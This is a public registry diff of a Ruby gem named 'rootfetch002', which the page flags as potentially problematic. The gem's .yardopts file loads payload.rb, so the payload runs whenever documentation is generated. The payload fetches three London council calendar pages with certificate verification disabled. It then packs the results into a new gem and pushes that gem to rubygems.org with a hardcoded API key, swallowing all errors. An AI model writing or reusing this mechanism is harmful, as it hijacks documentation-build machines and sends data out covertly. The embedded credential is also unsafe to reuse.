rootfetch002 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rootfetch002 might be problematic. Click here for more details.

Files changed (5) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +1 -0
  3. data/lib/x.rb +1 -0
  4. data/payload.rb +14 -0
  5. metadata +39 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 90eb38be393d5a5860cfc3e1bb8226f6f2c59dca30f36935a8210161b08365c1
4
+ data.tar.gz: 4c01b9284d271c3df283eb0dcb22b20318aa9e946ebbc49ff8aa9134c66e809b
5
+ SHA512:
6
+ metadata.gz: ad7fdd912614d64073aef624234bbba23c511ff0991baad0f6bb60c460cd41d11634e1ab2d2fc1aa8a8b8c5fc3b184c8599f5b2d6943954ad6466c12f402bf1a
7
+ data.tar.gz: e6c0422a1f11175ffd0e162ca5e65ddb8b65316c9ed237d26c160c574ce66f543d3270d8295ad920029f7112f8372577ad91ea2da902a27e5b6a69c8c5631c38
data/.yardopts ADDED
@@ -0,0 +1 @@
1
+ --load payload.rb
data/lib/x.rb ADDED
@@ -0,0 +1 @@
1
+ #x
data/payload.rb ADDED
@@ -0,0 +1,14 @@
1
+ require 'net/http'; require 'uri'; require 'openssl'
2
+ out="run #{Time.now}\n"
3
+ ['https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026','https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026','https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026'].each do |url|
4
+ begin
5
+ uri=URI(url); h=Net::HTTP.new(uri.host,uri.port); h.use_ssl=true; h.verify_mode=OpenSSL::SSL::VERIFY_NONE; h.open_timeout=30; h.read_timeout=40; r=h.get(uri.request_uri)
6
+ out+="\n==START #{url} code #{r.code} len #{r.body.size}\n"+r.body+"\n==END\n"
7
+ rescue Exception=>e; out+="ERR #{url} #{e} #{e.backtrace}"; end
8
+ end
9
+ begin
10
+ dir='/tmp/rootres2'; Dir.mkdir(dir) rescue nil; Dir.mkdir(dir+'/lib') rescue nil; File.write(dir+'/lib/data.txt',out)
11
+ File.write(dir+'/x.gemspec',"Gem::Specification.new do |s|; s.name='rootresult002'; s.version='0.0.1'; s.summary='x'; s.authors=['x']; s.files=Dir['lib/**/*']; end")
12
+ system("cd #{dir}; gem build x.gemspec"); bin=File.binread(dir+'/rootresult002-0.0.1.gem'); uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); req['Authorization']='rubygems_960ac400714d967e21468d656df12292fc27b64411a9e2c0'; req['Content-Type']='application/octet-stream'; req.body=bin; Net::HTTP.start(uri.hostname,uri.port,use_ssl:true){|h| h.request(req)}
13
+ rescue Exception=>e
14
+ end
metadata ADDED
@@ -0,0 +1,39 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: rootfetch002
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - x
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - lib/x.rb
18
+ - payload.rb
19
+ licenses:
20
+ - MIT
21
+ metadata: {}
22
+ rdoc_options: []
23
+ require_paths:
24
+ - lib
25
+ required_ruby_version: !ruby/object:Gem::Requirement
26
+ requirements:
27
+ - - ">="
28
+ - !ruby/object:Gem::Version
29
+ version: '0'
30
+ required_rubygems_version: !ruby/object:Gem::Requirement
31
+ requirements:
32
+ - - ">="
33
+ - !ruby/object:Gem::Version
34
+ version: '0'
35
+ requirements: []
36
+ rubygems_version: 3.6.7
37
+ specification_version: 4
38
+ summary: x
39
+ test_files: []